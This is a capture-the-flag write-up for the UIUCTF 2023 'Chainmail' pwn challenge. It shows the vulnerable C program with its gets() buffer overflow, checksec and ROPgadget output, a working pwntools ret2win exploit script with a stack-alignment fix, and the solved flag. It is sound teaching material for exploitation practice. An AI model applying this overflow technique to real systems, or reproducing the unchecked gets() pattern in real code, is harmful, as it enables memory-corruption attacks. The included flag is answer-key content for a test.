# UIUCTF 2023
## Chainmail
> I've come up with a winning idea to make it big in the Prodigy and Hotmail scenes (or at least make your email widespread)!>>  Author: Emma>> [`chal.c`](https://github.com/D13David/ctf-writeups/blob/main/uiuctf23/pwn/chainmail/chal.c)> [`chal`](https://github.com/D13David/ctf-writeups/blob/main/uiuctf23/pwn/chainmail/chal)> [`Dockerfile`](https://github.com/D13David/ctf-writeups/blob/main/uiuctf23/pwn/chainmail/Dockerfile)
Tags: _pwn_
## SolutionThe challenge comes with three files. The program for testing purpose but also with the original code, so reversing is not needed. The code is very simple.
```c#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>
void give_flag() {    FILE *f = fopen("/flag.txt", "r");    if (f != NULL) {        char c;        while ((c = fgetc(f)) != EOF) {            putchar(c);        }    }    else {        printf("Flag not found!\n");    }    fclose(f);}
int main(int argc, char **argv) {    setvbuf(stdout, NULL, _IONBF, 0);    setvbuf(stderr, NULL, _IONBF, 0);    setvbuf(stdin, NULL, _IONBF, 0);
    char name[64];    printf("Hello, welcome to the chain email generator! Please give the name of a recipient: ");    gets(name);    printf("Okay, here's your newly generated chainmail message!\n\nHello %s,\nHave you heard the news??? Send this email to 10 friends or else you'll have bad luck!\n\nYour friend,\nJim\n", name);    return 0;}```
A name is read into a buffer, since `gets` is used this is vulnerable to a buffer overflow. Also a win function is given `give_flag`, so a typical ret2win setup. Checksec also confirms this as no canary is activated we can just write over anything until we rewrite the return address to point to `give_flag`.
```bash$ checksec ./chal[*] '/uiuc23/pwn/chainmail/chal'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)```The offset to the ret address (from name buffer) can be found by using cycle patterns, I normally look what ghidra is giving me. The offset is visible in plain text in the decompiled code with the variable name.
The payload are then 72 bytes of random values to fill buffer right before the ret address on the stack plus the 64-bit address of `give_flag`. 
```pythonfrom pwn import *
binary = context.binary = ELF("./chal", checksec=False)context.log_level="debug"
if args.REMOTE:    p = remote("chainmail.chal.uiuc.tf", 1337)else:    p = process(binary.path)
payload = b"A" * 72payload = payload + p64(binary.sym.give_flag)
p.sendlineafter(b"recipient: ", payload)p.interactive()```
Since the script works perfectly on my local machine, but not remote this is typically an hint pointing at a [`stack alignment issue`](https://ropemporium.com/guide.html#Common%20pitfalls).
> Some versions of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.
To find a fitting gadget we can use `ROPgadget`.
```bash$ ROPgadget --binary ./chal --ropchainGadgets information============================================================0x000000000040118b : add bh, bh ; loopne 0x4011f5 ; nop ; ret0x000000000040115c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret0x0000000000401336 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret0x0000000000401337 : add byte ptr [rax], al ; add cl, cl ; ret0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x4010200x00000000004011fa : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret0x000000000040115e : add byte ptr [rax], al ; endbr64 ; ret0x0000000000401338 : add byte ptr [rax], al ; leave ; ret0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax0x00000000004011fb : add byte ptr [rcx], al ; pop rbp ; ret...0x000000000040101a : ret...0x0000000000401340 : sub rsp, 8 ; add rsp, 8 ; ret0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax0x0000000000401183 : test eax, eax ; je 0x401190 ; mov edi, 0x404068 ; jmp rax0x00000000004011c5 : test eax, eax ; je 0x4011d0 ; mov edi, 0x404068 ; jmp rax0x000000000040100f : test rax, rax ; je 0x401016 ; call rax```
There it is, on address 40101ah. The workig payload looks like this and gives the flag.
```payload = b"A" * 72payload = payload + p64(0x40101a)payload = payload + p64(binary.sym.give_flag)```
Flag `uiuctf{y0ur3_4_B1g_5h0t_n0w!11!!1!!!11!!!!1}`